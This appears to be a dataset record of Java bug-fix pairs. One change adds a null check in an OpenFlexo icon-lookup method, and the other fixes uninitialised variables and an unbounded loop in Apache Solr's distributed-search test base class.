Event: return WKFIconLibrary.EVENT_ICON; default: return null; } } else { return null; } } else if (object instanceof ConnectorPatternRole) { return CONNECTOR_ICON; } else if (object instanceof ShapePatternRole) { return SHAPE_ICON; } else if (object instanceof DiagramPatternRole) { return EXAMPLE_DIAGRAM_ICON; } else if (object instanceof EditionPatternPatternRole) { return EDITION_PATTERN_ICON; } else if (object instanceof PrimitivePatternRole) { return UNKNOWN_ICON; - } else if (object instanceof OntologicObjectPatternRole) { + } else if (object instanceof OntologicObjectPatternRole && ((OntologicObjectPatternRole<?>) object).getModelSlot() != null) { TechnologyAdapterController<?> tac = getTechnologyAdapterController(((OntologicObjectPatternRole<?>) object).getModelSlot() .getTechnologyAdapter()); if (tac != null) { return tac.getIconForOntologyObject(((OntologicObjectPatternRole<?>) object).getAccessedClass()); } } else if (object instanceof LocalizedDictionary) { return LOCALIZATION_ICON; } logger.warning("No icon for " + object.getClass()); return UNKNOWN_ICON; } public static ImageIcon iconForObject(ViewPointResource object) { return VIEWPOINT_ICON; } public static ImageIcon iconForObject(ExampleDiagramResource object) { return EXAMPLE_DIAGRAM_ICON; } public static ImageIcon iconForObject(DiagramPaletteResource object) { return DIAGRAM_PALETTE_ICON; } }
true
true
public static ImageIcon iconForObject(ViewPointObject object) { if (object instanceof PatternRole && ((PatternRole) object).getModelSlot() != null) { TechnologyAdapterController<?> tac = getTechnologyAdapterController(((PatternRole) object).getModelSlot() .getTechnologyAdapter()); if (tac != null) { return tac.getIconForPatternRole((Class<? extends PatternRole>) object.getClass()); } } else if (object instanceof EditionAction && ((EditionAction) object).getModelSlot() != null) { TechnologyAdapterController<?> tac = getTechnologyAdapterController(((EditionAction) object).getModelSlot() .getTechnologyAdapter()); if (tac != null) { return tac.getIconForEditionAction((Class<? extends EditionAction>) object.getClass()); } } if (object instanceof ModelSlot) { return MODEL_SLOT_ICON; } else if (object instanceof EditionPatternInspector) { return INSPECT_ICON; } if (object instanceof DiagramPalette) { return DIAGRAM_PALETTE_ICON; } else if (object instanceof DiagramPaletteElement) { return SHAPE_ICON; } else if (object instanceof DataPropertyAssertion) { TechnologyAdapterController<?> tac = getTechnologyAdapterController(((DataPropertyAssertion) object).getAction().getModelSlot() .getTechnologyAdapter()); if (tac != null) { return tac.getIconForOntologyObject(((DataPropertyAssertion) object).getOntologyProperty().getClass()); } return null; } else if (object instanceof ObjectPropertyAssertion) { TechnologyAdapterController<?> tac = getTechnologyAdapterController(((ObjectPropertyAssertion) object).getAction() .getModelSlot().getTechnologyAdapter()); if (tac != null) { return tac.getIconForOntologyObject(((ObjectPropertyAssertion) object).getOntologyProperty().getClass()); } return null; } else if (object instanceof ExampleDiagramConnector) { return CONNECTOR_ICON; } else if (object instanceof ExampleDiagramShape) { return SHAPE_ICON; } else if (object instanceof ExampleDiagram) { return EXAMPLE_DIAGRAM_ICON; } else if (object instanceof EditionAction) { if (object instanceof AddClass) { TechnologyAdapterController<?> tac = getTechnologyAdapterController(((AddClass) object).getModelSlot() .getTechnologyAdapter()); if (tac != null) { return tac.getIconForOntologyObject(((AddClass) object).getOntologyClassClass()); } return null; } else if (object instanceof CloneIndividual) { TechnologyAdapterController<?> tac = getTechnologyAdapterController(((AddIndividual) object).getModelSlot() .getTechnologyAdapter()); if (tac != null) { return IconFactory.getImageIcon(tac.getIconForOntologyObject(((AddIndividual) object).getOntologyClass().getClass()), DUPLICATE); } return null; } else if (object instanceof AddIndividual) { TechnologyAdapterController<?> tac = getTechnologyAdapterController(((AddIndividual) object).getModelSlot() .getTechnologyAdapter()); if (tac != null && ((AddIndividual) object).getOntologyClass() != null) { return tac.getIconForOntologyObject(((AddIndividual) object).getOntologyIndividualClass()); } return null; } else if (object instanceof AddDiagram) { return EXAMPLE_DIAGRAM_ICON; } else if (object instanceof AddEditionPattern) { return EDITION_PATTERN_ICON; } else if (object instanceof CloneShape) { return IconFactory.getImageIcon(SHAPE_ICON, DUPLICATE); } else if (object instanceof AddShape) { return SHAPE_ICON; } else if (object instanceof CloneConnector) { return IconFactory.getImageIcon(CONNECTOR_ICON, DUPLICATE); } else if (object instanceof AddConnector) { return CONNECTOR_ICON; } /*else if (object instanceof AddStatement) { return OntologyIconLibrary.ONTOLOGY_STATEMENT_ICON; }*/else if (object instanceof DeclarePatternRole) { return DECLARE_PATTERN_ROLE_ICON; } else if (object instanceof ConditionalAction) { return CONDITIONAL_ACTION_ICON; } else if (object instanceof IterationAction) { return ITERATION_ACTION_ICON; } else if (object instanceof DeleteAction) { PatternRole pr = ((DeleteAction) object).getPatternRole(); if (pr != null) { ImageIcon baseIcon = iconForObject(pr); return IconFactory.getImageIcon(baseIcon, DELETE); } return DELETE_ICON; } else if (object instanceof GraphicalAction) { return GRAPHICAL_ACTION_ICON; } return EDITION_PATTERN_ACTION_ICON; } else if (object instanceof EditionPattern) { return EDITION_PATTERN_ICON; } else if (object instanceof EditionSchemeParameter) { return EDITION_PATTERN_PARAMETER_ICON; } else if (object instanceof ActionScheme) { return ACTION_SCHEME_ICON; } else if (object instanceof DropScheme) { return DROP_SCHEME_ICON; } else if (object instanceof LinkScheme) { return LINK_SCHEME_ICON; } else if (object instanceof CloningScheme) { return CLONING_SCHEME_ICON; } else if (object instanceof CreationScheme) { return CREATION_SCHEME_ICON; } else if (object instanceof NavigationScheme) { return NAVIGATION_SCHEME_ICON; } else if (object instanceof DeletionScheme) { return DELETION_SCHEME_ICON; } else if (object instanceof ViewPoint) { return VIEWPOINT_ICON; } else if (object instanceof PaletteElementPatternParameter) { return EDITION_PATTERN_PARAMETER_ICON; } else if (object instanceof FlexoModelObjectPatternRole) { if (((FlexoModelObjectPatternRole) object).getFlexoModelObjectType() != null) { switch (((FlexoModelObjectPatternRole) object).getFlexoModelObjectType()) { case Process: return WKFIconLibrary.PROCESS_ICON; case ProcessFolder: return WKFIconLibrary.PROCESS_FOLDER_ICON; case Role: return WKFIconLibrary.ROLE_ICON; case Activity: return WKFIconLibrary.ACTIVITY_NODE_ICON; case Operation: return WKFIconLibrary.OPERATION_NODE_ICON; case Action: return WKFIconLibrary.ACTION_NODE_ICON; case Event: return WKFIconLibrary.EVENT_ICON; default: return null; } } else { return null; } } else if (object instanceof ConnectorPatternRole) { return CONNECTOR_ICON; } else if (object instanceof ShapePatternRole) { return SHAPE_ICON; } else if (object instanceof DiagramPatternRole) { return EXAMPLE_DIAGRAM_ICON; } else if (object instanceof EditionPatternPatternRole) { return EDITION_PATTERN_ICON; } else if (object instanceof PrimitivePatternRole) { return UNKNOWN_ICON; } else if (object instanceof OntologicObjectPatternRole) { TechnologyAdapterController<?> tac = getTechnologyAdapterController(((OntologicObjectPatternRole<?>) object).getModelSlot() .getTechnologyAdapter()); if (tac != null) { return tac.getIconForOntologyObject(((OntologicObjectPatternRole<?>) object).getAccessedClass()); } } else if (object instanceof LocalizedDictionary) { return LOCALIZATION_ICON; } logger.warning("No icon for " + object.getClass()); return UNKNOWN_ICON; }
public static ImageIcon iconForObject(ViewPointObject object) { if (object instanceof PatternRole && ((PatternRole) object).getModelSlot() != null) { TechnologyAdapterController<?> tac = getTechnologyAdapterController(((PatternRole) object).getModelSlot() .getTechnologyAdapter()); if (tac != null) { return tac.getIconForPatternRole((Class<? extends PatternRole>) object.getClass()); } } else if (object instanceof EditionAction && ((EditionAction) object).getModelSlot() != null) { TechnologyAdapterController<?> tac = getTechnologyAdapterController(((EditionAction) object).getModelSlot() .getTechnologyAdapter()); if (tac != null) { return tac.getIconForEditionAction((Class<? extends EditionAction>) object.getClass()); } } if (object instanceof ModelSlot) { return MODEL_SLOT_ICON; } else if (object instanceof EditionPatternInspector) { return INSPECT_ICON; } if (object instanceof DiagramPalette) { return DIAGRAM_PALETTE_ICON; } else if (object instanceof DiagramPaletteElement) { return SHAPE_ICON; } else if (object instanceof DataPropertyAssertion) { TechnologyAdapterController<?> tac = getTechnologyAdapterController(((DataPropertyAssertion) object).getAction().getModelSlot() .getTechnologyAdapter()); if (tac != null) { return tac.getIconForOntologyObject(((DataPropertyAssertion) object).getOntologyProperty().getClass()); } return null; } else if (object instanceof ObjectPropertyAssertion) { TechnologyAdapterController<?> tac = getTechnologyAdapterController(((ObjectPropertyAssertion) object).getAction() .getModelSlot().getTechnologyAdapter()); if (tac != null) { return tac.getIconForOntologyObject(((ObjectPropertyAssertion) object).getOntologyProperty().getClass()); } return null; } else if (object instanceof ExampleDiagramConnector) { return CONNECTOR_ICON; } else if (object instanceof ExampleDiagramShape) { return SHAPE_ICON; } else if (object instanceof ExampleDiagram) { return EXAMPLE_DIAGRAM_ICON; } else if (object instanceof EditionAction) { if (object instanceof AddClass) { TechnologyAdapterController<?> tac = getTechnologyAdapterController(((AddClass) object).getModelSlot() .getTechnologyAdapter()); if (tac != null) { return tac.getIconForOntologyObject(((AddClass) object).getOntologyClassClass()); } return null; } else if (object instanceof CloneIndividual) { TechnologyAdapterController<?> tac = getTechnologyAdapterController(((AddIndividual) object).getModelSlot() .getTechnologyAdapter()); if (tac != null) { return IconFactory.getImageIcon(tac.getIconForOntologyObject(((AddIndividual) object).getOntologyClass().getClass()), DUPLICATE); } return null; } else if (object instanceof AddIndividual) { TechnologyAdapterController<?> tac = getTechnologyAdapterController(((AddIndividual) object).getModelSlot() .getTechnologyAdapter()); if (tac != null && ((AddIndividual) object).getOntologyClass() != null) { return tac.getIconForOntologyObject(((AddIndividual) object).getOntologyIndividualClass()); } return null; } else if (object instanceof AddDiagram) { return EXAMPLE_DIAGRAM_ICON; } else if (object instanceof AddEditionPattern) { return EDITION_PATTERN_ICON; } else if (object instanceof CloneShape) { return IconFactory.getImageIcon(SHAPE_ICON, DUPLICATE); } else if (object instanceof AddShape) { return SHAPE_ICON; } else if (object instanceof CloneConnector) { return IconFactory.getImageIcon(CONNECTOR_ICON, DUPLICATE); } else if (object instanceof AddConnector) { return CONNECTOR_ICON; } /*else if (object instanceof AddStatement) { return OntologyIconLibrary.ONTOLOGY_STATEMENT_ICON; }*/else if (object instanceof DeclarePatternRole) { return DECLARE_PATTERN_ROLE_ICON; } else if (object instanceof ConditionalAction) { return CONDITIONAL_ACTION_ICON; } else if (object instanceof IterationAction) { return ITERATION_ACTION_ICON; } else if (object instanceof DeleteAction) { PatternRole pr = ((DeleteAction) object).getPatternRole(); if (pr != null) { ImageIcon baseIcon = iconForObject(pr); return IconFactory.getImageIcon(baseIcon, DELETE); } return DELETE_ICON; } else if (object instanceof GraphicalAction) { return GRAPHICAL_ACTION_ICON; } return EDITION_PATTERN_ACTION_ICON; } else if (object instanceof EditionPattern) { return EDITION_PATTERN_ICON; } else if (object instanceof EditionSchemeParameter) { return EDITION_PATTERN_PARAMETER_ICON; } else if (object instanceof ActionScheme) { return ACTION_SCHEME_ICON; } else if (object instanceof DropScheme) { return DROP_SCHEME_ICON; } else if (object instanceof LinkScheme) { return LINK_SCHEME_ICON; } else if (object instanceof CloningScheme) { return CLONING_SCHEME_ICON; } else if (object instanceof CreationScheme) { return CREATION_SCHEME_ICON; } else if (object instanceof NavigationScheme) { return NAVIGATION_SCHEME_ICON; } else if (object instanceof DeletionScheme) { return DELETION_SCHEME_ICON; } else if (object instanceof ViewPoint) { return VIEWPOINT_ICON; } else if (object instanceof PaletteElementPatternParameter) { return EDITION_PATTERN_PARAMETER_ICON; } else if (object instanceof FlexoModelObjectPatternRole) { if (((FlexoModelObjectPatternRole) object).getFlexoModelObjectType() != null) { switch (((FlexoModelObjectPatternRole) object).getFlexoModelObjectType()) { case Process: return WKFIconLibrary.PROCESS_ICON; case ProcessFolder: return WKFIconLibrary.PROCESS_FOLDER_ICON; case Role: return WKFIconLibrary.ROLE_ICON; case Activity: return WKFIconLibrary.ACTIVITY_NODE_ICON; case Operation: return WKFIconLibrary.OPERATION_NODE_ICON; case Action: return WKFIconLibrary.ACTION_NODE_ICON; case Event: return WKFIconLibrary.EVENT_ICON; default: return null; } } else { return null; } } else if (object instanceof ConnectorPatternRole) { return CONNECTOR_ICON; } else if (object instanceof ShapePatternRole) { return SHAPE_ICON; } else if (object instanceof DiagramPatternRole) { return EXAMPLE_DIAGRAM_ICON; } else if (object instanceof EditionPatternPatternRole) { return EDITION_PATTERN_ICON; } else if (object instanceof PrimitivePatternRole) { return UNKNOWN_ICON; } else if (object instanceof OntologicObjectPatternRole && ((OntologicObjectPatternRole<?>) object).getModelSlot() != null) { TechnologyAdapterController<?> tac = getTechnologyAdapterController(((OntologicObjectPatternRole<?>) object).getModelSlot() .getTechnologyAdapter()); if (tac != null) { return tac.getIconForOntologyObject(((OntologicObjectPatternRole<?>) object).getAccessedClass()); } } else if (object instanceof LocalizedDictionary) { return LOCALIZATION_ICON; } logger.warning("No icon for " + object.getClass()); return UNKNOWN_ICON; }
diff --git a/solr/test-framework/src/java/org/apache/solr/BaseDistributedSearchTestCase.java b/solr/test-framework/src/java/org/apache/solr/BaseDistributedSearchTestCase.java index 4432b665dc..1c3d4ed88b 100644 --- a/solr/test-framework/src/java/org/apache/solr/BaseDistributedSearchTestCase.java +++ b/solr/test-framework/src/java/org/apache/solr/BaseDistributedSearchTestCase.java @@ -1,736 +1,736 @@ package org.apache.solr; /* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ import java.io.File; import java.io.IOException; import java.util.ArrayList; import java.util.Arrays; import java.util.Collections; import java.util.Date; import java.util.HashMap; import java.util.HashSet; import java.util.List; import java.util.Map; import java.util.Random; import java.util.Set; import junit.framework.Assert; import org.apache.lucene.search.FieldCache; import org.apache.solr.client.solrj.SolrServer; import org.apache.solr.client.solrj.SolrServerException; import org.apache.solr.client.solrj.embedded.JettySolrRunner; import org.apache.solr.client.solrj.impl.HttpSolrServer; import org.apache.solr.client.solrj.request.UpdateRequest; import org.apache.solr.client.solrj.response.QueryResponse; import org.apache.solr.client.solrj.response.UpdateResponse; import org.apache.solr.common.SolrDocument; import org.apache.solr.common.SolrDocumentList; import org.apache.solr.common.SolrInputDocument; import org.apache.solr.common.params.ModifiableSolrParams; import org.apache.solr.common.params.SolrParams; import org.apache.solr.common.util.NamedList; import org.apache.solr.schema.TrieDateField; import org.apache.solr.util.AbstractSolrTestCase; import org.junit.BeforeClass; import org.junit.Test; import org.slf4j.Logger; import org.slf4j.LoggerFactory; /** * Helper base class for distributed search test cases * * @since solr 1.5 */ public abstract class BaseDistributedSearchTestCase extends SolrTestCaseJ4 { // TODO: this shouldn't be static. get the random when you need it to avoid sharing. public static Random r; @BeforeClass public static void initialize() { r = new Random(random().nextLong()); } protected int shardCount = 4; /** * Sub classes can set this flag in their constructor to true if they * want to fix the number of shards to 'shardCount' * * The default is false which means that test will be executed with * 1, 2, 3, ....shardCount number of shards repeatedly */ protected boolean fixShardCount = false; protected JettySolrRunner controlJetty; protected List<SolrServer> clients = new ArrayList<SolrServer>(); protected List<JettySolrRunner> jettys = new ArrayList<JettySolrRunner>(); protected String context = "/solr"; protected String shards; protected String[] shardsArr; // Some ISPs redirect to their own web site for domains that don't exist, causing this to fail // protected String[] deadServers = {"does_not_exist_54321.com:33331/solr","localhost:33332/solr"}; protected String[] deadServers = {"[::1]:33332/solr"}; protected File testDir; protected SolrServer controlClient; // to stress with higher thread counts and requests, make sure the junit // xml formatter is not being used (all output will be buffered before // transformation to xml and cause an OOM exception). protected int stress = TEST_NIGHTLY ? 2 : 0; protected boolean verifyStress = true; protected int nThreads = 3; public static int ORDERED = 1; public static int SKIP = 2; public static int SKIPVAL = 4; public static int UNORDERED = 8; protected int flags; protected Map<String, Integer> handle = new HashMap<String, Integer>(); protected String id = "id"; public static Logger log = LoggerFactory.getLogger(BaseDistributedSearchTestCase.class); public static RandVal rint = new RandVal() { @Override public Object val() { return r.nextInt(); } }; public static RandVal rlong = new RandVal() { @Override public Object val() { return r.nextLong(); } }; public static RandVal rfloat = new RandVal() { @Override public Object val() { return r.nextFloat(); } }; public static RandVal rdouble = new RandVal() { @Override public Object val() { return r.nextDouble(); } }; public static RandVal rdate = new RandDate(); /** * Perform the actual tests here * * @throws Exception on error */ public abstract void doTest() throws Exception; public static String[] fieldNames = new String[]{"n_ti1", "n_f1", "n_tf1", "n_d1", "n_td1", "n_l1", "n_tl1", "n_dt1", "n_tdt1"}; public static RandVal[] randVals = new RandVal[]{rint, rfloat, rfloat, rdouble, rdouble, rlong, rlong, rdate, rdate}; protected String[] getFieldNames() { return fieldNames; } protected RandVal[] getRandValues() { return randVals; } /** * Subclasses can override this to change a test's solr home * (default is in test-files) */ public String getSolrHome() { return SolrTestCaseJ4.TEST_HOME(); } @Override public void setUp() throws Exception { SolrTestCaseJ4.resetExceptionIgnores(); // ignore anything with ignore_exception in it super.setUp(); System.setProperty("solr.test.sys.prop1", "propone"); System.setProperty("solr.test.sys.prop2", "proptwo"); testDir = new File(TEMP_DIR, getClass().getName() + "-" + System.currentTimeMillis()); testDir.mkdirs(); } @Override public void tearDown() throws Exception { destroyServers(); if (!AbstractSolrTestCase.recurseDelete(testDir)) { System.err.println("!!!! WARNING: best effort to remove " + testDir.getAbsolutePath() + " FAILED !!!!!"); } FieldCache.DEFAULT.purgeAllCaches(); // avoid FC insanity super.tearDown(); } protected void createServers(int numShards) throws Exception { controlJetty = createJetty(new File(getSolrHome()), testDir + "/control/data", null, getSolrConfigFile(), getSchemaFile()); controlClient = createNewSolrServer(controlJetty.getLocalPort()); shardsArr = new String[numShards]; StringBuilder sb = new StringBuilder(); for (int i = 0; i < numShards; i++) { if (sb.length() > 0) sb.append(','); JettySolrRunner j = createJetty(new File(getSolrHome()), testDir + "/shard" + i + "/data", null, getSolrConfigFile(), getSchemaFile()); jettys.add(j); clients.add(createNewSolrServer(j.getLocalPort())); String shardStr = "localhost:" + j.getLocalPort() + context; shardsArr[i] = shardStr; sb.append(shardStr); } shards = sb.toString(); } protected void setDistributedParams(ModifiableSolrParams params) { params.set("shards", getShardsString()); } protected String getShardsString() { if (deadServers == null) return shards; StringBuilder sb = new StringBuilder(); for (String shard : shardsArr) { if (sb.length() > 0) sb.append(','); int nDeadServers = r.nextInt(deadServers.length+1); if (nDeadServers > 0) { List<String> replicas = new ArrayList<String>(Arrays.asList(deadServers)); Collections.shuffle(replicas, r); replicas.add(r.nextInt(nDeadServers+1), shard); for (int i=0; i<nDeadServers+1; i++) { if (i!=0) sb.append('|'); sb.append(replicas.get(i)); } } else { sb.append(shard); } } return sb.toString(); } protected void destroyServers() throws Exception { controlJetty.stop(); ((HttpSolrServer) controlClient).shutdown(); for (JettySolrRunner jetty : jettys) jetty.stop(); for (SolrServer client : clients) ((HttpSolrServer) client).shutdown(); clients.clear(); jettys.clear(); } public JettySolrRunner createJetty(File solrHome, String dataDir) throws Exception { return createJetty(solrHome, dataDir, null, null, null); } public JettySolrRunner createJetty(File solrHome, String dataDir, String shardId) throws Exception { return createJetty(solrHome, dataDir, shardId, null, null); } public JettySolrRunner createJetty(File solrHome, String dataDir, String shardList, String solrConfigOverride, String schemaOverride) throws Exception { JettySolrRunner jetty = new JettySolrRunner(solrHome.getAbsolutePath(), "/solr", 0, solrConfigOverride, schemaOverride); jetty.setShards(shardList); jetty.setDataDir(dataDir); jetty.start(); return jetty; } protected SolrServer createNewSolrServer(int port) { try { // setup the server... String url = "http://localhost:" + port + context; HttpSolrServer s = new HttpSolrServer(url); s.setConnectionTimeout(DEFAULT_CONNECTION_TIMEOUT); s.setDefaultMaxConnectionsPerHost(100); s.setMaxTotalConnections(100); return s; } catch (Exception ex) { throw new RuntimeException(ex); } } protected void addFields(SolrInputDocument doc, Object... fields) { for (int i = 0; i < fields.length; i += 2) { doc.addField((String) (fields[i]), fields[i + 1]); } }// add random fields to the documet before indexing protected void indexr(Object... fields) throws Exception { SolrInputDocument doc = new SolrInputDocument(); addFields(doc, fields); addFields(doc, "rnd_b", true); addRandFields(doc); indexDoc(doc); } protected SolrInputDocument addRandFields(SolrInputDocument sdoc) { addFields(sdoc, getRandFields(getFieldNames(), getRandValues())); return sdoc; } protected void index(Object... fields) throws Exception { SolrInputDocument doc = new SolrInputDocument(); addFields(doc, fields); indexDoc(doc); } protected void indexDoc(SolrInputDocument doc) throws IOException, SolrServerException { controlClient.add(doc); int which = (doc.getField(id).toString().hashCode() & 0x7fffffff) % clients.size(); SolrServer client = clients.get(which); client.add(doc); } protected UpdateResponse add(SolrServer server, SolrParams params, SolrInputDocument... sdocs) throws IOException, SolrServerException { UpdateRequest ureq = new UpdateRequest(); ureq.setParams(new ModifiableSolrParams(params)); for (SolrInputDocument sdoc : sdocs) { ureq.add(sdoc); } return ureq.process(server); } protected UpdateResponse del(SolrServer server, SolrParams params, Object... ids) throws IOException, SolrServerException { UpdateRequest ureq = new UpdateRequest(); ureq.setParams(new ModifiableSolrParams(params)); for (Object id: ids) { ureq.deleteById(id.toString()); } return ureq.process(server); } protected UpdateResponse delQ(SolrServer server, SolrParams params, String... queries) throws IOException, SolrServerException { UpdateRequest ureq = new UpdateRequest(); ureq.setParams(new ModifiableSolrParams(params)); for (String q: queries) { ureq.deleteByQuery(q); } return ureq.process(server); } protected void index_specific(int serverNumber, Object... fields) throws Exception { SolrInputDocument doc = new SolrInputDocument(); for (int i = 0; i < fields.length; i += 2) { doc.addField((String) (fields[i]), fields[i + 1]); } controlClient.add(doc); SolrServer client = clients.get(serverNumber); client.add(doc); } protected void del(String q) throws Exception { controlClient.deleteByQuery(q); for (SolrServer client : clients) { client.deleteByQuery(q); } }// serial commit... protected void commit() throws Exception { controlClient.commit(); for (SolrServer client : clients) { client.commit(); } } protected QueryResponse queryServer(ModifiableSolrParams params) throws SolrServerException { // query a random server int which = r.nextInt(clients.size()); SolrServer client = clients.get(which); QueryResponse rsp = client.query(params); return rsp; } protected void query(Object... q) throws Exception { final ModifiableSolrParams params = new ModifiableSolrParams(); for (int i = 0; i < q.length; i += 2) { params.add(q[i].toString(), q[i + 1].toString()); } // TODO: look into why passing true causes fails params.set("distrib", "false"); final QueryResponse controlRsp = controlClient.query(params); validateControlData(controlRsp); params.remove("distrib"); setDistributedParams(params); QueryResponse rsp = queryServer(params); compareResponses(rsp, controlRsp); if (stress > 0) { log.info("starting stress..."); Thread[] threads = new Thread[nThreads]; for (int i = 0; i < threads.length; i++) { threads[i] = new Thread() { @Override public void run() { for (int j = 0; j < stress; j++) { int which = r.nextInt(clients.size()); SolrServer client = clients.get(which); try { QueryResponse rsp = client.query(new ModifiableSolrParams(params)); if (verifyStress) { compareResponses(rsp, controlRsp); } } catch (SolrServerException e) { throw new RuntimeException(e); } } } }; threads[i].start(); } for (Thread thread : threads) { thread.join(); } } } public QueryResponse queryAndCompare(SolrParams params, SolrServer... servers) throws SolrServerException { QueryResponse first = null; for (SolrServer server : servers) { QueryResponse rsp = server.query(new ModifiableSolrParams(params)); if (first == null) { first = rsp; } else { compareResponses(first, rsp); } } return first; } public static boolean eq(String a, String b) { return a == b || (a != null && a.equals(b)); } public static int flags(Map<String, Integer> handle, Object key) { if (handle == null) return 0; Integer f = handle.get(key); return f == null ? 0 : f; } public static String compare(NamedList a, NamedList b, int flags, Map<String, Integer> handle) { // System.out.println("resp a:" + a); // System.out.println("resp b:" + b); boolean ordered = (flags & UNORDERED) == 0; int posa = 0, posb = 0; int aSkipped = 0, bSkipped = 0; for (; ;) { if (posa >= a.size() || posb >= b.size()) { break; } - String namea, nameb; - Object vala, valb = null; + String namea = null, nameb = null; + Object vala = null, valb = null; - int flagsa, flagsb; - for (; ;) { + int flagsa = 0, flagsb = 0; + while (posa < a.size()) { namea = a.getName(posa); vala = a.getVal(posa); posa++; flagsa = flags(handle, namea); if ((flagsa & SKIP) != 0) { aSkipped++; continue; } break; } if (!ordered) posb = 0; // reset if not ordered while (posb < b.size()) { nameb = b.getName(posb); valb = b.getVal(posb); posb++; flagsb = flags(handle, nameb); if ((flagsb & SKIP) != 0) { bSkipped++; continue; } if (eq(namea, nameb)) { break; } if (ordered) { return "." + namea + "!=" + nameb + " (unordered or missing)"; } // if unordered, continue until we find the right field. } // ok, namea and nameb should be equal here already. if ((flagsa & SKIPVAL) != 0) continue; // keys matching is enough String cmp = compare(vala, valb, flagsa, handle); if (cmp != null) return "." + namea + cmp; } if (a.size() - aSkipped != b.size() - bSkipped) { return ".size()==" + a.size() + "," + b.size() + "skipped=" + aSkipped + "," + bSkipped; } return null; } public static String compare1(Map a, Map b, int flags, Map<String, Integer> handle) { String cmp; for (Object keya : a.keySet()) { Object vala = a.get(keya); int flagsa = flags(handle, keya); if ((flagsa & SKIP) != 0) continue; if (!b.containsKey(keya)) { return "[" + keya + "]==null"; } if ((flagsa & SKIPVAL) != 0) continue; Object valb = b.get(keya); cmp = compare(vala, valb, flagsa, handle); if (cmp != null) return "[" + keya + "]" + cmp; } return null; } public static String compare(Map a, Map b, int flags, Map<String, Integer> handle) { String cmp; cmp = compare1(a, b, flags, handle); if (cmp != null) return cmp; return compare1(b, a, flags, handle); } public static String compare(SolrDocument a, SolrDocument b, int flags, Map<String, Integer> handle) { return compare(a.getFieldValuesMap(), b.getFieldValuesMap(), flags, handle); } public static String compare(SolrDocumentList a, SolrDocumentList b, int flags, Map<String, Integer> handle) { boolean ordered = (flags & UNORDERED) == 0; String cmp; int f = flags(handle, "maxScore"); if ((f & SKIPVAL) == 0) { cmp = compare(a.getMaxScore(), b.getMaxScore(), 0, handle); if (cmp != null) return ".maxScore" + cmp; } else { if (b.getMaxScore() != null) { if (a.getMaxScore() == null) { return ".maxScore missing"; } } } cmp = compare(a.getNumFound(), b.getNumFound(), 0, handle); if (cmp != null) return ".numFound" + cmp; cmp = compare(a.getStart(), b.getStart(), 0, handle); if (cmp != null) return ".start" + cmp; cmp = compare(a.size(), b.size(), 0, handle); if (cmp != null) return ".size()" + cmp; // only for completely ordered results (ties might be in a different order) if (ordered) { for (int i = 0; i < a.size(); i++) { cmp = compare(a.get(i), b.get(i), 0, handle); if (cmp != null) return "[" + i + "]" + cmp; } return null; } // unordered case for (int i = 0; i < a.size(); i++) { SolrDocument doc = a.get(i); Object key = doc.getFirstValue("id"); SolrDocument docb = null; if (key == null) { // no id field to correlate... must compare ordered docb = b.get(i); } else { for (int j = 0; j < b.size(); j++) { docb = b.get(j); if (key.equals(docb.getFirstValue("id"))) break; } } // if (docb == null) return "[id="+key+"]"; cmp = compare(doc, docb, 0, handle); if (cmp != null) return "[id=" + key + "]" + cmp; } return null; } public static String compare(Object[] a, Object[] b, int flags, Map<String, Integer> handle) { if (a.length != b.length) { return ".length:" + a.length + "!=" + b.length; } for (int i = 0; i < a.length; i++) { String cmp = compare(a[i], b[i], flags, handle); if (cmp != null) return "[" + i + "]" + cmp; } return null; } public static String compare(Object a, Object b, int flags, Map<String, Integer> handle) { if (a == b) return null; if (a == null || b == null) return ":" + a + "!=" + b; if (a instanceof NamedList && b instanceof NamedList) { return compare((NamedList) a, (NamedList) b, flags, handle); } if (a instanceof SolrDocumentList && b instanceof SolrDocumentList) { return compare((SolrDocumentList) a, (SolrDocumentList) b, flags, handle); } if (a instanceof SolrDocument && b instanceof SolrDocument) { return compare((SolrDocument) a, (SolrDocument) b, flags, handle); } if (a instanceof Map && b instanceof Map) { return compare((Map) a, (Map) b, flags, handle); } if (a instanceof Object[] && b instanceof Object[]) { return compare((Object[]) a, (Object[]) b, flags, handle); } if (a instanceof byte[] && b instanceof byte[]) { if (!Arrays.equals((byte[]) a, (byte[]) b)) { return ":" + a + "!=" + b; } return null; } if (a instanceof List && b instanceof List) { return compare(((List) a).toArray(), ((List) b).toArray(), flags, handle); } if (!(a.equals(b))) { return ":" + a + "!=" + b; } return null; } protected void compareResponses(QueryResponse a, QueryResponse b) { String cmp; if (System.getProperty("remove.version.field") != null) { // we don't care if one has a version and the other doesnt - // control vs distrib // TODO: this should prob be done by adding an ignore on _version_ rather than mutating the responses? if (a.getResults() != null) { for (SolrDocument doc : a.getResults()) { doc.removeFields("_version_"); } } if (b.getResults() != null) { for (SolrDocument doc : b.getResults()) { doc.removeFields("_version_"); } } } cmp = compare(a.getResponse(), b.getResponse(), flags, handle); if (cmp != null) { log.error("Mismatched responses:\n" + a + "\n" + b); Assert.fail(cmp); } } @Test public void testDistribSearch() throws Exception { if (fixShardCount) { createServers(shardCount); RandVal.uniqueValues = new HashSet(); //reset random values doTest(); destroyServers(); } else { for (int nServers = 1; nServers < shardCount; nServers++) { createServers(nServers); RandVal.uniqueValues = new HashSet(); //reset random values doTest(); destroyServers(); } } } public static Object[] getRandFields(String[] fields, RandVal[] randVals) { Object[] o = new Object[fields.length * 2]; for (int i = 0; i < fields.length; i++) { o[i * 2] = fields[i]; o[i * 2 + 1] = randVals[i].uval(); } return o; } /** * Implementations can pre-test the control data for basic correctness before using it * as a check for the shard data. This is useful, for instance, if a test bug is introduced * causing a spelling index not to get built: both control & shard data would have no results * but because they match the test would pass. This method gives us a chance to ensure something * exists in the control data. * * @throws Exception */ public void validateControlData(QueryResponse control) throws Exception { /* no-op */ } public static abstract class RandVal { public static Set uniqueValues = new HashSet(); public abstract Object val(); public Object uval() { for (; ;) { Object v = val(); if (uniqueValues.add(v)) return v; } } } public static class RandDate extends RandVal { public static TrieDateField df = new TrieDateField(); @Override public Object val() { long v = r.nextLong(); Date d = new Date(v); return df.toExternal(d); } } }
false
true
